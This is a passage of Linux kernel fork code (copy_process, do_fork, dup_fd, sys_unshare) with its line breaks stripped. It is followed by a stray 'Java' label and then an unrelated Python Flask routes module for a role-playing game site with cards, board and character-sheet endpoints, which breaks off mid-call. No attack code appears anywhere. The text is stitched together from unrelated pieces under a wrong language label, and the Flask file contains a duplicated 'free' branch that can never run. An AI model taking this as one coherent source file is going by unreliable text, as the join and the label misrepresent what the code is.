mm = dup_mm(tsk); if (!mm) goto fail_nomem; good_mm: /* Initializing for Swap token stuff */ mm->token_priority = 0; mm->last_interval = 0; tsk->mm = mm; tsk->active_mm = mm; return 0; fail_nomem: return retval; } static inline struct fs_struct *__copy_fs_struct(struct fs_struct *old) { struct fs_struct *fs = kmem_cache_alloc(fs_cachep, GFP_KERNEL); /* We don't need to lock fs - think why ;-) */ if (fs) { atomic_set(&fs->count, 1); rwlock_init(&fs->lock); fs->umask = old->umask; read_lock(&old->lock); fs->rootmnt = mntget(old->rootmnt); fs->root = dget(old->root); fs->pwdmnt = mntget(old->pwdmnt); fs->pwd = dget(old->pwd); if (old->altroot) { fs->altrootmnt = mntget(old->altrootmnt); fs->altroot = dget(old->altroot); } else { fs->altrootmnt = NULL; fs->altroot = NULL; } read_unlock(&old->lock); } return fs; } struct fs_struct *copy_fs_struct(struct fs_struct *old) { return __copy_fs_struct(old); } EXPORT_SYMBOL_GPL(copy_fs_struct); static inline int copy_fs(unsigned long clone_flags, struct task_struct * tsk) { if (clone_flags & CLONE_FS) { atomic_inc(&current->fs->count); return 0; } tsk->fs = __copy_fs_struct(current->fs); if (!tsk->fs) return -ENOMEM; return 0; } static int count_open_files(struct fdtable *fdt) { int size = fdt->max_fds; int i; /* Find the last open fd */ for (i = size/(8*sizeof(long)); i > 0; ) { if (fdt->open_fds->fds_bits[--i]) break; } i = (i+1) * 8 * sizeof(long); return i; } static struct files_struct *alloc_files(void) { struct files_struct *newf; struct fdtable *fdt; newf = kmem_cache_alloc(files_cachep, GFP_KERNEL); if (!newf) goto out; atomic_set(&newf->count, 1); spin_lock_init(&newf->file_lock); newf->next_fd = 0; fdt = &newf->fdtab; fdt->max_fds = NR_OPEN_DEFAULT; fdt->close_on_exec = (fd_set *)&newf->close_on_exec_init; fdt->open_fds = (fd_set *)&newf->open_fds_init; fdt->fd = &newf->fd_array[0]; INIT_RCU_HEAD(&fdt->rcu); fdt->next = NULL; rcu_assign_pointer(newf->fdt, fdt); out: return newf; } /* * Allocate a new files structure and copy contents from the * passed in files structure. * errorp will be valid only when the returned files_struct is NULL. */ static struct files_struct *dup_fd(struct files_struct *oldf, int *errorp) { struct files_struct *newf; struct file **old_fds, **new_fds; int open_files, size, i; struct fdtable *old_fdt, *new_fdt; *errorp = -ENOMEM; newf = alloc_files(); if (!newf) goto out; spin_lock(&oldf->file_lock); old_fdt = files_fdtable(oldf); new_fdt = files_fdtable(newf); open_files = count_open_files(old_fdt); /* * Check whether we need to allocate a larger fd array and fd set. * Note: we're not a clone task, so the open count won't change. */ if (open_files > new_fdt->max_fds) { new_fdt->max_fds = 0; spin_unlock(&oldf->file_lock); spin_lock(&newf->file_lock); *errorp = expand_files(newf, open_files-1); spin_unlock(&newf->file_lock); if (*errorp < 0) goto out_release; new_fdt = files_fdtable(newf); /* * Reacquire the oldf lock and a pointer to its fd table * who knows it may have a new bigger fd table. We need * the latest pointer. */ spin_lock(&oldf->file_lock); old_fdt = files_fdtable(oldf); } old_fds = old_fdt->fd; new_fds = new_fdt->fd; memcpy(new_fdt->open_fds->fds_bits, old_fdt->open_fds->fds_bits, open_files/8); memcpy(new_fdt->close_on_exec->fds_bits, old_fdt->close_on_exec->fds_bits, open_files/8); for (i = open_files; i != 0; i--) { struct file *f = *old_fds++; if (f) { get_file(f); } else { /* * The fd may be claimed in the fd bitmap but not yet * instantiated in the files array if a sibling thread * is partway through open(). So make sure that this * fd is available to the new process. */ FD_CLR(open_files - i, new_fdt->open_fds); } rcu_assign_pointer(*new_fds++, f); } spin_unlock(&oldf->file_lock); /* compute the remainder to be cleared */ size = (new_fdt->max_fds - open_files) * sizeof(struct file *); /* This is long word aligned thus could use a optimized version */ memset(new_fds, 0, size); if (new_fdt->max_fds > open_files) { int left = (new_fdt->max_fds-open_files)/8; int start = open_files / (8 * sizeof(unsigned long)); memset(&new_fdt->open_fds->fds_bits[start], 0, left); memset(&new_fdt->close_on_exec->fds_bits[start], 0, left); } return newf; out_release: kmem_cache_free(files_cachep, newf); out: return NULL; } static int copy_files(unsigned long clone_flags, struct task_struct * tsk) { struct files_struct *oldf, *newf; int error = 0; /* * A background process may not have any files ... */ oldf = current->files; if (!oldf) goto out; if (clone_flags & CLONE_FILES) { atomic_inc(&oldf->count); goto out; } /* * Note: we may be using current for both targets (See exec.c) * This works because we cache current->files (old) as oldf. Don't * break this. */ tsk->files = NULL; newf = dup_fd(oldf, &error); if (!newf) goto out; tsk->files = newf; error = 0; out: return error; } /* * Helper to unshare the files of the current task. * We don't want to expose copy_files internals to * the exec layer of the kernel. */ int unshare_files(void) { struct files_struct *files = current->files; int rc; BUG_ON(!files); /* This can race but the race causes us to copy when we don't need to and drop the copy */ if(atomic_read(&files->count) == 1) { atomic_inc(&files->count); return 0; } rc = copy_files(0, current); if(rc) current->files = files; return rc; } EXPORT_SYMBOL(unshare_files); static inline int copy_sighand(unsigned long clone_flags, struct task_struct * tsk) { struct sighand_struct *sig; if (clone_flags & (CLONE_SIGHAND | CLONE_THREAD)) { atomic_inc(&current->sighand->count); return 0; } sig = kmem_cache_alloc(sighand_cachep, GFP_KERNEL); rcu_assign_pointer(tsk->sighand, sig); if (!sig) return -ENOMEM; atomic_set(&sig->count, 1); memcpy(sig->action, current->sighand->action, sizeof(sig->action)); return 0; } void __cleanup_sighand(struct sighand_struct *sighand) { if (atomic_dec_and_test(&sighand->count)) kmem_cache_free(sighand_cachep, sighand); } static inline int copy_signal(unsigned long clone_flags, struct task_struct * tsk) { struct signal_struct *sig; int ret; if (clone_flags & CLONE_THREAD) { atomic_inc(&current->signal->count); atomic_inc(&current->signal->live); return 0; } sig = kmem_cache_alloc(signal_cachep, GFP_KERNEL); tsk->signal = sig; if (!sig) return -ENOMEM; ret = copy_thread_group_keys(tsk); if (ret < 0) { kmem_cache_free(signal_cachep, sig); return ret; } atomic_set(&sig->count, 1); atomic_set(&sig->live, 1); init_waitqueue_head(&sig->wait_chldexit); sig->flags = 0; sig->group_exit_code = 0; sig->group_exit_task = NULL; sig->group_stop_count = 0; sig->curr_target = NULL; init_sigpending(&sig->shared_pending); INIT_LIST_HEAD(&sig->posix_timers); hrtimer_init(&sig->real_timer, CLOCK_MONOTONIC, HRTIMER_MODE_REL); sig->it_real_incr.tv64 = 0; sig->real_timer.function = it_real_fn; sig->tsk = tsk; sig->it_virt_expires = cputime_zero; sig->it_virt_incr = cputime_zero; sig->it_prof_expires = cputime_zero; sig->it_prof_incr = cputime_zero; sig->leader = 0; /* session leadership doesn't inherit */ sig->tty_old_pgrp = NULL; sig->utime = sig->stime = sig->cutime = sig->cstime = cputime_zero; sig->nvcsw = sig->nivcsw = sig->cnvcsw = sig->cnivcsw = 0; sig->min_flt = sig->maj_flt = sig->cmin_flt = sig->cmaj_flt = 0; sig->inblock = sig->oublock = sig->cinblock = sig->coublock = 0; sig->sched_time = 0; INIT_LIST_HEAD(&sig->cpu_timers[0]); INIT_LIST_HEAD(&sig->cpu_timers[1]); INIT_LIST_HEAD(&sig->cpu_timers[2]); taskstats_tgid_init(sig); task_lock(current->group_leader); memcpy(sig->rlim, current->signal->rlim, sizeof sig->rlim); task_unlock(current->group_leader); if (sig->rlim[RLIMIT_CPU].rlim_cur != RLIM_INFINITY) { /* * New sole thread in the process gets an expiry time * of the whole CPU time limit. */ tsk->it_prof_expires = secs_to_cputime(sig->rlim[RLIMIT_CPU].rlim_cur); } acct_init_pacct(&sig->pacct); return 0; } void __cleanup_signal(struct signal_struct *sig) { exit_thread_group_keys(sig); kmem_cache_free(signal_cachep, sig); } static inline void cleanup_signal(struct task_struct *tsk) { struct signal_struct *sig = tsk->signal; atomic_dec(&sig->live); if (atomic_dec_and_test(&sig->count)) __cleanup_signal(sig); } static inline void copy_flags(unsigned long clone_flags, struct task_struct *p) { unsigned long new_flags = p->flags; new_flags &= ~(PF_SUPERPRIV | PF_NOFREEZE); new_flags |= PF_FORKNOEXEC; if (!(clone_flags & CLONE_PTRACE)) p->ptrace = 0; p->flags = new_flags; } asmlinkage long sys_set_tid_address(int __user *tidptr) { current->clear_child_tid = tidptr; return current->pid; } static inline void rt_mutex_init_task(struct task_struct *p) { spin_lock_init(&p->pi_lock); #ifdef CONFIG_RT_MUTEXES plist_head_init(&p->pi_waiters, &p->pi_lock); p->pi_blocked_on = NULL; #endif } /* * This creates a new process as a copy of the old one, * but does not actually start it yet. * * It copies the registers, and all the appropriate * parts of the process environment (as per the clone * flags). The actual kick-off is left to the caller. */ static struct task_struct *copy_process(unsigned long clone_flags, unsigned long stack_start, struct pt_regs *regs, unsigned long stack_size, int __user *parent_tidptr, int __user *child_tidptr, struct pid *pid) { int retval; struct task_struct *p = NULL; if ((clone_flags & (CLONE_NEWNS|CLONE_FS)) == (CLONE_NEWNS|CLONE_FS)) return ERR_PTR(-EINVAL); /* * Thread groups must share signals as well, and detached threads * can only be started up within the thread group. */ if ((clone_flags & CLONE_THREAD) && !(clone_flags & CLONE_SIGHAND)) return ERR_PTR(-EINVAL); /* * Shared signal handlers imply shared VM. By way of the above, * thread groups also imply shared VM. Blocking this case allows * for various simplifications in other code. */ if ((clone_flags & CLONE_SIGHAND) && !(clone_flags & CLONE_VM)) return ERR_PTR(-EINVAL); retval = security_task_create(clone_flags); if (retval) goto fork_out; retval = -ENOMEM; p = dup_task_struct(current); if (!p) goto fork_out; rt_mutex_init_task(p); #ifdef CONFIG_TRACE_IRQFLAGS DEBUG_LOCKS_WARN_ON(!p->hardirqs_enabled); DEBUG_LOCKS_WARN_ON(!p->softirqs_enabled); #endif retval = -EAGAIN; if (atomic_read(&p->user->processes) >= p->signal->rlim[RLIMIT_NPROC].rlim_cur) { if (!capable(CAP_SYS_ADMIN) && !capable(CAP_SYS_RESOURCE) && p->user != &root_user) goto bad_fork_free; } atomic_inc(&p->user->__count); atomic_inc(&p->user->processes); get_group_info(p->group_info); /* * If multiple threads are within copy_process(), then this check * triggers too late. This doesn't hurt, the check is only there * to stop root fork bombs. */ if (nr_threads >= max_threads) goto bad_fork_cleanup_count; if (!try_module_get(task_thread_info(p)->exec_domain->module)) goto bad_fork_cleanup_count; if (p->binfmt && !try_module_get(p->binfmt->module)) goto bad_fork_cleanup_put_domain; p->did_exec = 0; delayacct_tsk_init(p); /* Must remain after dup_task_struct() */ copy_flags(clone_flags, p); p->pid = pid_nr(pid); retval = -EFAULT; if (clone_flags & CLONE_PARENT_SETTID) if (put_user(p->pid, parent_tidptr)) goto bad_fork_cleanup_delays_binfmt; INIT_LIST_HEAD(&p->children); INIT_LIST_HEAD(&p->sibling); p->vfork_done = NULL; spin_lock_init(&p->alloc_lock); clear_tsk_thread_flag(p, TIF_SIGPENDING); init_sigpending(&p->pending); p->utime = cputime_zero; p->stime = cputime_zero; p->sched_time = 0; #ifdef CONFIG_TASK_XACCT p->rchar = 0; /* I/O counter: bytes read */ p->wchar = 0; /* I/O counter: bytes written */ p->syscr = 0; /* I/O counter: read syscalls */ p->syscw = 0; /* I/O counter: write syscalls */ #endif task_io_accounting_init(p); acct_clear_integrals(p); p->it_virt_expires = cputime_zero; p->it_prof_expires = cputime_zero; p->it_sched_expires = 0; INIT_LIST_HEAD(&p->cpu_timers[0]); INIT_LIST_HEAD(&p->cpu_timers[1]); INIT_LIST_HEAD(&p->cpu_timers[2]); p->lock_depth = -1; /* -1 = no lock */ do_posix_clock_monotonic_gettime(&p->start_time); p->security = NULL; p->io_context = NULL; p->io_wait = NULL; p->audit_context = NULL; cpuset_fork(p); #ifdef CONFIG_NUMA p->mempolicy = mpol_copy(p->mempolicy); if (IS_ERR(p->mempolicy)) { retval = PTR_ERR(p->mempolicy); p->mempolicy = NULL; goto bad_fork_cleanup_cpuset; } mpol_fix_fork_child_flag(p); #endif #ifdef CONFIG_TRACE_IRQFLAGS p->irq_events = 0; #ifdef __ARCH_WANT_INTERRUPTS_ON_CTXSW p->hardirqs_enabled = 1; #else p->hardirqs_enabled = 0; #endif p->hardirq_enable_ip = 0; p->hardirq_enable_event = 0; p->hardirq_disable_ip = _THIS_IP_; p->hardirq_disable_event = 0; p->softirqs_enabled = 1; p->softirq_enable_ip = _THIS_IP_; p->softirq_enable_event = 0; p->softirq_disable_ip = 0; p->softirq_disable_event = 0; p->hardirq_context = 0; p->softirq_context = 0; #endif #ifdef CONFIG_LOCKDEP p->lockdep_depth = 0; /* no locks held yet */ p->curr_chain_key = 0; p->lockdep_recursion = 0; #endif #ifdef CONFIG_DEBUG_MUTEXES p->blocked_on = NULL; /* not blocked yet */ #endif p->tgid = p->pid; if (clone_flags & CLONE_THREAD) p->tgid = current->tgid; if ((retval = security_task_alloc(p))) goto bad_fork_cleanup_policy; if ((retval = audit_alloc(p))) goto bad_fork_cleanup_security; /* copy all the process information */ if ((retval = copy_semundo(clone_flags, p))) goto bad_fork_cleanup_audit; if ((retval = copy_files(clone_flags, p))) goto bad_fork_cleanup_semundo; if ((retval = copy_fs(clone_flags, p))) goto bad_fork_cleanup_files; if ((retval = copy_sighand(clone_flags, p))) goto bad_fork_cleanup_fs; if ((retval = copy_signal(clone_flags, p))) goto bad_fork_cleanup_sighand; if ((retval = copy_mm(clone_flags, p))) goto bad_fork_cleanup_signal; if ((retval = copy_keys(clone_flags, p))) goto bad_fork_cleanup_mm; if ((retval = copy_namespaces(clone_flags, p))) goto bad_fork_cleanup_keys; retval = copy_thread(0, clone_flags, stack_start, stack_size, p, regs); if (retval) goto bad_fork_cleanup_namespaces; p->set_child_tid = (clone_flags & CLONE_CHILD_SETTID) ? child_tidptr : NULL; /* * Clear TID on mm_release()? */ p->clear_child_tid = (clone_flags & CLONE_CHILD_CLEARTID) ? child_tidptr: NULL; p->robust_list = NULL; #ifdef CONFIG_COMPAT p->compat_robust_list = NULL; #endif INIT_LIST_HEAD(&p->pi_state_list); p->pi_state_cache = NULL; /* * sigaltstack should be cleared when sharing the same VM */ if ((clone_flags & (CLONE_VM|CLONE_VFORK)) == CLONE_VM) p->sas_ss_sp = p->sas_ss_size = 0; /* * Syscall tracing should be turned off in the child regardless * of CLONE_PTRACE. */ clear_tsk_thread_flag(p, TIF_SYSCALL_TRACE); #ifdef TIF_SYSCALL_EMU clear_tsk_thread_flag(p, TIF_SYSCALL_EMU); #endif /* Our parent execution domain becomes current domain These must match for thread signalling to apply */ p->parent_exec_id = p->self_exec_id; /* ok, now we should be set up.. */ p->exit_signal = (clone_flags & CLONE_THREAD) ? -1 : (clone_flags & CSIGNAL); p->pdeath_signal = 0; p->exit_state = 0; /* * Ok, make it visible to the rest of the system. * We dont wake it up yet. */ p->group_leader = p; INIT_LIST_HEAD(&p->thread_group); INIT_LIST_HEAD(&p->ptrace_children); INIT_LIST_HEAD(&p->ptrace_list); /* Perform scheduler related setup. Assign this task to a CPU. */ sched_fork(p, clone_flags); /* Need tasklist lock for parent etc handling! */ write_lock_irq(&tasklist_lock); /* for sys_ioprio_set(IOPRIO_WHO_PGRP) */ p->ioprio = current->ioprio; /* * The task hasn't been attached yet, so its cpus_allowed mask will * not be changed, nor will its assigned CPU. * * The cpus_allowed mask of the parent may have changed after it was * copied first time - so re-copy it here, then check the child's CPU * to ensure it is on a valid CPU (and if not, just force it back to * parent's CPU). This avoids alot of nasty races. */ p->cpus_allowed = current->cpus_allowed; if (unlikely(!cpu_isset(task_cpu(p), p->cpus_allowed) || !cpu_online(task_cpu(p)))) set_task_cpu(p, smp_processor_id()); /* CLONE_PARENT re-uses the old parent */ if (clone_flags & (CLONE_PARENT|CLONE_THREAD)) p->real_parent = current->real_parent; else p->real_parent = current; p->parent = p->real_parent; spin_lock(&current->sighand->siglock); /* * Process group and session signals need to be delivered to just the * parent before the fork or both the parent and the child after the * fork. Restart if a signal comes in before we add the new process to * it's process group. * A fatal signal pending means that current will exit, so the new * thread can't slip out of an OOM kill (or normal SIGKILL). */ recalc_sigpending(); if (signal_pending(current)) { spin_unlock(&current->sighand->siglock); write_unlock_irq(&tasklist_lock); retval = -ERESTARTNOINTR; goto bad_fork_cleanup_namespaces; } if (clone_flags & CLONE_THREAD) { p->group_leader = current->group_leader; list_add_tail_rcu(&p->thread_group, &p->group_leader->thread_group); if (!cputime_eq(current->signal->it_virt_expires, cputime_zero) || !cputime_eq(current->signal->it_prof_expires, cputime_zero) || current->signal->rlim[RLIMIT_CPU].rlim_cur != RLIM_INFINITY || !list_empty(&current->signal->cpu_timers[0]) || !list_empty(&current->signal->cpu_timers[1]) || !list_empty(&current->signal->cpu_timers[2])) { /* * Have child wake up on its first tick to check * for process CPU timers. */ p->it_prof_expires = jiffies_to_cputime(1); } } if (likely(p->pid)) { add_parent(p); if (unlikely(p->ptrace & PT_PTRACED)) __ptrace_link(p, current->parent); if (thread_group_leader(p)) { p->signal->tty = current->signal->tty; p->signal->pgrp = process_group(current); set_signal_session(p->signal, process_session(current)); attach_pid(p, PIDTYPE_PGID, task_pgrp(current)); attach_pid(p, PIDTYPE_SID, task_session(current)); list_add_tail_rcu(&p->tasks, &init_task.tasks); __get_cpu_var(process_counts)++; } attach_pid(p, PIDTYPE_PID, pid); nr_threads++; } total_forks++; spin_unlock(&current->sighand->siglock); write_unlock_irq(&tasklist_lock); proc_fork_connector(p); /** Init the wait queue we added */ init_waitqueue_head(&p->join_queue); return p; bad_fork_cleanup_namespaces: exit_task_namespaces(p); bad_fork_cleanup_keys: exit_keys(p); bad_fork_cleanup_mm: if (p->mm) mmput(p->mm); bad_fork_cleanup_signal: cleanup_signal(p); bad_fork_cleanup_sighand: __cleanup_sighand(p->sighand); bad_fork_cleanup_fs: exit_fs(p); /* blocking */ bad_fork_cleanup_files: exit_files(p); /* blocking */ bad_fork_cleanup_semundo: exit_sem(p); bad_fork_cleanup_audit: audit_free(p); bad_fork_cleanup_security: security_task_free(p); bad_fork_cleanup_policy: #ifdef CONFIG_NUMA mpol_free(p->mempolicy); bad_fork_cleanup_cpuset: #endif cpuset_exit(p); bad_fork_cleanup_delays_binfmt: delayacct_tsk_free(p); if (p->binfmt) module_put(p->binfmt->module); bad_fork_cleanup_put_domain: module_put(task_thread_info(p)->exec_domain->module); bad_fork_cleanup_count: put_group_info(p->group_info); atomic_dec(&p->user->processes); free_uid(p->user); bad_fork_free: free_task(p); fork_out: return ERR_PTR(retval); } noinline struct pt_regs * __devinit __attribute__((weak)) idle_regs(struct pt_regs *regs) { memset(regs, 0, sizeof(struct pt_regs)); return regs; } struct task_struct * __cpuinit fork_idle(int cpu) { struct task_struct *task; struct pt_regs regs; task = copy_process(CLONE_VM, 0, idle_regs(&regs), 0, NULL, NULL, &init_struct_pid); if (!IS_ERR(task)) init_idle(task, cpu); return task; } static inline int fork_traceflag (unsigned clone_flags) { if (clone_flags & CLONE_UNTRACED) return 0; else if (clone_flags & CLONE_VFORK) { if (current->ptrace & PT_TRACE_VFORK) return PTRACE_EVENT_VFORK; } else if ((clone_flags & CSIGNAL) != SIGCHLD) { if (current->ptrace & PT_TRACE_CLONE) return PTRACE_EVENT_CLONE; } else if (current->ptrace & PT_TRACE_FORK) return PTRACE_EVENT_FORK; return 0; } /* * Ok, this is the main fork-routine. * * It copies the process, and if successful kick-starts * it and waits for it to finish using the VM if required. */ long do_fork(unsigned long clone_flags, unsigned long stack_start, struct pt_regs *regs, unsigned long stack_size, int __user *parent_tidptr, int __user *child_tidptr) { struct task_struct *p; int trace = 0; struct pid *pid = alloc_pid(); long nr; if (!pid) return -EAGAIN; nr = pid->nr; if (unlikely(current->ptrace)) { trace = fork_traceflag (clone_flags); if (trace) clone_flags |= CLONE_PTRACE; } p = copy_process(clone_flags, stack_start, regs, stack_size, parent_tidptr, child_tidptr, pid); /* * Do this prior waking up the new thread - the thread pointer * might get invalid after that point, if the thread exits quickly. */ if (!IS_ERR(p)) { struct completion vfork; if (clone_flags & CLONE_VFORK) { p->vfork_done = &vfork; init_completion(&vfork); } if ((p->ptrace & PT_PTRACED) || (clone_flags & CLONE_STOPPED)) { /* * We'll start up with an immediate SIGSTOP. */ sigaddset(&p->pending.signal, SIGSTOP); set_tsk_thread_flag(p, TIF_SIGPENDING); } if (!(clone_flags & CLONE_STOPPED)) wake_up_new_task(p, clone_flags); else p->state = TASK_STOPPED; if (unlikely (trace)) { current->ptrace_message = nr; ptrace_notify ((trace << 8) | SIGTRAP); } if (clone_flags & CLONE_VFORK) { freezer_do_not_count(); wait_for_completion(&vfork); freezer_count(); if (unlikely (current->ptrace & PT_TRACE_VFORK_DONE)) { current->ptrace_message = nr; ptrace_notify ((PTRACE_EVENT_VFORK_DONE << 8) | SIGTRAP); } } } else { free_pid(pid); nr = PTR_ERR(p); } return nr; } #ifndef ARCH_MIN_MMSTRUCT_ALIGN #define ARCH_MIN_MMSTRUCT_ALIGN 0 #endif static void sighand_ctor(void *data, struct kmem_cache *cachep, unsigned long flags) { struct sighand_struct *sighand = data; spin_lock_init(&sighand->siglock); INIT_LIST_HEAD(&sighand->signalfd_list); } void __init proc_caches_init(void) { sighand_cachep = kmem_cache_create("sighand_cache", sizeof(struct sighand_struct), 0, SLAB_HWCACHE_ALIGN|SLAB_PANIC|SLAB_DESTROY_BY_RCU, sighand_ctor, NULL); signal_cachep = kmem_cache_create("signal_cache", sizeof(struct signal_struct), 0, SLAB_HWCACHE_ALIGN|SLAB_PANIC, NULL, NULL); files_cachep = kmem_cache_create("files_cache", sizeof(struct files_struct), 0, SLAB_HWCACHE_ALIGN|SLAB_PANIC, NULL, NULL); fs_cachep = kmem_cache_create("fs_cache", sizeof(struct fs_struct), 0, SLAB_HWCACHE_ALIGN|SLAB_PANIC, NULL, NULL); vm_area_cachep = kmem_cache_create("vm_area_struct", sizeof(struct vm_area_struct), 0, SLAB_PANIC, NULL, NULL); mm_cachep = kmem_cache_create("mm_struct", sizeof(struct mm_struct), ARCH_MIN_MMSTRUCT_ALIGN, SLAB_HWCACHE_ALIGN|SLAB_PANIC, NULL, NULL); } /* * Check constraints on flags passed to the unshare system call and * force unsharing of additional process context as appropriate. */ static inline void check_unshare_flags(unsigned long *flags_ptr) { /* * If unsharing a thread from a thread group, must also * unshare vm. */ if (*flags_ptr & CLONE_THREAD) *flags_ptr |= CLONE_VM; /* * If unsharing vm, must also unshare signal handlers. */ if (*flags_ptr & CLONE_VM) *flags_ptr |= CLONE_SIGHAND; /* * If unsharing signal handlers and the task was created * using CLONE_THREAD, then must unshare the thread */ if ((*flags_ptr & CLONE_SIGHAND) && (atomic_read(&current->signal->count) > 1)) *flags_ptr |= CLONE_THREAD; /* * If unsharing namespace, must also unshare filesystem information. */ if (*flags_ptr & CLONE_NEWNS) *flags_ptr |= CLONE_FS; } /* * Unsharing of tasks created with CLONE_THREAD is not supported yet */ static int unshare_thread(unsigned long unshare_flags) { if (unshare_flags & CLONE_THREAD) return -EINVAL; return 0; } /* * Unshare the filesystem structure if it is being shared */ static int unshare_fs(unsigned long unshare_flags, struct fs_struct **new_fsp) { struct fs_struct *fs = current->fs; if ((unshare_flags & CLONE_FS) && (fs && atomic_read(&fs->count) > 1)) { *new_fsp = __copy_fs_struct(current->fs); if (!*new_fsp) return -ENOMEM; } return 0; } /* * Unsharing of sighand is not supported yet */ static int unshare_sighand(unsigned long unshare_flags, struct sighand_struct **new_sighp) { struct sighand_struct *sigh = current->sighand; if ((unshare_flags & CLONE_SIGHAND) && atomic_read(&sigh->count) > 1) return -EINVAL; else return 0; } /* * Unshare vm if it is being shared */ static int unshare_vm(unsigned long unshare_flags, struct mm_struct **new_mmp) { struct mm_struct *mm = current->mm; if ((unshare_flags & CLONE_VM) && (mm && atomic_read(&mm->mm_users) > 1)) { return -EINVAL; } return 0; } /* * Unshare file descriptor table if it is being shared */ static int unshare_fd(unsigned long unshare_flags, struct files_struct **new_fdp) { struct files_struct *fd = current->files; int error = 0; if ((unshare_flags & CLONE_FILES) && (fd && atomic_read(&fd->count) > 1)) { *new_fdp = dup_fd(fd, &error); if (!*new_fdp) return error; } return 0; } /* * Unsharing of semundo for tasks created with CLONE_SYSVSEM is not * supported yet */ static int unshare_semundo(unsigned long unshare_flags, struct sem_undo_list **new_ulistp) { if (unshare_flags & CLONE_SYSVSEM) return -EINVAL; return 0; } /* * unshare allows a process to 'unshare' part of the process * context which was originally shared using clone. copy_* * functions used by do_fork() cannot be used here directly * because they modify an inactive task_struct that is being * constructed. Here we are modifying the current, active, * task_struct. */ asmlinkage long sys_unshare(unsigned long unshare_flags) { int err = 0; struct fs_struct *fs, *new_fs = NULL; struct sighand_struct *new_sigh = NULL; struct mm_struct *mm, *new_mm = NULL, *active_mm = NULL; struct files_struct *fd, *new_fd = NULL; struct sem_undo_list *new_ulist = NULL; struct nsproxy *new_nsproxy = NULL, *old_nsproxy = NULL; check_unshare_flags(&unshare_flags); /* Return -EINVAL for all unsupported flags */ err = -EINVAL; if (unshare_flags & ~(CLONE_THREAD|CLONE_FS|CLONE_NEWNS|CLONE_SIGHAND| CLONE_VM|CLONE_FILES|CLONE_SYSVSEM| CLONE_NEWUTS|CLONE_NEWIPC)) goto bad_unshare_out; if ((err = unshare_thread(unshare_flags))) goto bad_unshare_out; if ((err = unshare_fs(unshare_flags, &new_fs))) goto bad_unshare_cleanup_thread; if ((err = unshare_sighand(unshare_flags, &new_sigh))) goto bad_unshare_cleanup_fs; if ((err = unshare_vm(unshare_flags, &new_mm))) goto bad_unshare_cleanup_sigh; if ((err = unshare_fd(unshare_flags, &new_fd))) goto bad_unshare_cleanup_vm; if ((err = unshare_semundo(unshare_flags, &new_ulist))) goto bad_unshare_cleanup_fd; if ((err = unshare_nsproxy_namespaces(unshare_flags, &new_nsproxy, new_fs))) goto bad_unshare_cleanup_semundo; if (new_fs || new_mm || new_fd || new_ulist || new_nsproxy) { task_lock(current); if (new_nsproxy) { old_nsproxy = current->nsproxy; current->nsproxy = new_nsproxy; new_nsproxy = old_nsproxy; } if (new_fs) { fs = current->fs; current->fs = new_fs; new_fs = fs; } if (new_mm) { mm = current->mm; active_mm = current->active_mm; current->mm = new_mm; current->active_mm = new_mm; activate_mm(active_mm, new_mm); new_mm = mm; } if (new_fd) { fd = current->files; current->files = new_fd; new_fd = fd; } task_unlock(current); } if (new_nsproxy) put_nsproxy(new_nsproxy); bad_unshare_cleanup_semundo: bad_unshare_cleanup_fd: if (new_fd) put_files_struct(new_fd); bad_unshare_cleanup_vm: if (new_mm) mmput(new_mm); bad_unshare_cleanup_sigh: if (new_sigh) if (atomic_dec_and_test(&new_sigh->count)) kmem_cache_free(sighand_cachep, new_sigh); bad_unshare_cleanup_fs: if (new_fs) put_fs_struct(new_fs); bad_unshare_cleanup_thread: bad_unshare_out: return err; }
Java
import random import time from flask import ( request, session, flash, redirect, url_for, Response, render_template, ) from NossiPack.Cards import Cards from NossiPack.User import Userlist from NossiPack.VampireCharacter import VampireCharacter from NossiPack.krypta import DescriptiveError from NossiSite.base import app as defaultapp, log from NossiSite.helpers import checklogin def register(app=None): if app is None: app = defaultapp @app.route("/setfromsource/") def setfromsource(): checklogin() source = request.args.get("source") ul = Userlist() u = ul.loaduserbyname(session.get("user")) try: new = VampireCharacter() if new.setfromdalines(source[-7:]): u.sheetid = u.savesheet(new) ul.saveuserlist() flash("character has been overwritten with provided Dalines sheet!") else: flash("problem with " + source) except Exception: log.exception("setfromsource:") flash( "Sorry " + session.get("user").capitalize() + ", I can not let you do that." ) return redirect(url_for("charsheet")) @app.route("/timetest") def timetest(): return str(time.time()) @app.route("/boardgame<int:size>_<seed>.json") @app.route("/boardgame<int:size>_.json") def boardgamemap(size, seed=""): if size > 100: size = 100 rx = random.Random() if seed: rx.seed(str(size) + str(seed)) def r(a=4): for _ in range(a): yield rx.randint(1, 10) def e(inp, dif): for i in inp: yield 2 if i == 10 else (1 if i >= dif else 0) def fpik(inp, pref="FPIK"): vals = list(inp) vals = [(v if v != 2 else (2 if sum(vals) < 4 else 1)) for v in vals] for i, p in enumerate(pref): yield '"' + p + '": ' + str(vals[i]) def cell(): # i, j): difficulty = 8 """6 + ( (9 if i == j else 8) if i in [0, size - 1] and j in [0, size - 1] else (7 if j in [0, size - 1] else (6 if j % 2 == 1 and (i in [0, size - 1] or j in [0, size - 1]) else (5 if 0 < i < size - 1 else 8))))""" for li in fpik(e(r(), difficulty)): yield li first = True def notfirst(): nonlocal first if first: first = False return True return False def resetfirst(): nonlocal first first = True def generate(): yield '{"board": [' for x in range(size): yield ("," if not first else "") + "[" resetfirst() for y in range(size): yield ("" if notfirst() else ",") + '{ "x":%d, "y":%d, ' % ( x, y, ) + ",".join( cell( # x, y ) ) + "}" yield "]" yield "]}" return Response(generate(), mimetype="text/json") @app.route("/gameboard/<int:size>/") @app.route("/gameboard/<int:size>/<seed>") def gameboard(size, seed=""): if size > 20: size = 20 return render_template("gameboard.html", size=size, seed=seed) @app.route("/chargen/standard") def standardchar(): return redirect( url_for("chargen", a=3, b=5, c=7, abia=5, abib=9, abic=13, shuffle=1) ) @app.route("/cards/", methods=["GET"]) @app.route("/cards/<command>", methods=["POST", "GET"]) def cards(command: str = None): checklogin() deck = Cards.getdeck(session["user"]) try: if request.method == "GET": if command is None: return deck.serialized_parts elif request.method == "POST": par = request.get_json()["parameter"] if command == "draw": return {"result": list(deck.draw(par))} elif command == "spend": return {"result": list(deck.spend(par))} elif command == "returnfun": return {"result": list(deck.pilereturn(par))} elif command == "dedicate": if ":" not in par: par += ":" return {"result": list(deck.dedicate(*par.split(":", 1)))} elif command == "remove": return {"result": list(deck.remove(par))} elif command == "free": message = deck.undedicate(par) for m in message: flash("Affected Dedication: " + m) return {"result": "ok", "messages": list(message)} elif command == "free": affected, message = deck.free(par) for m in message: flash("Affected Dedication: " + m) return { "result": list(affected), "messages": message, } else: return {"result": "error", "error": f"invalid command {command}"} return render_template("cards.html", 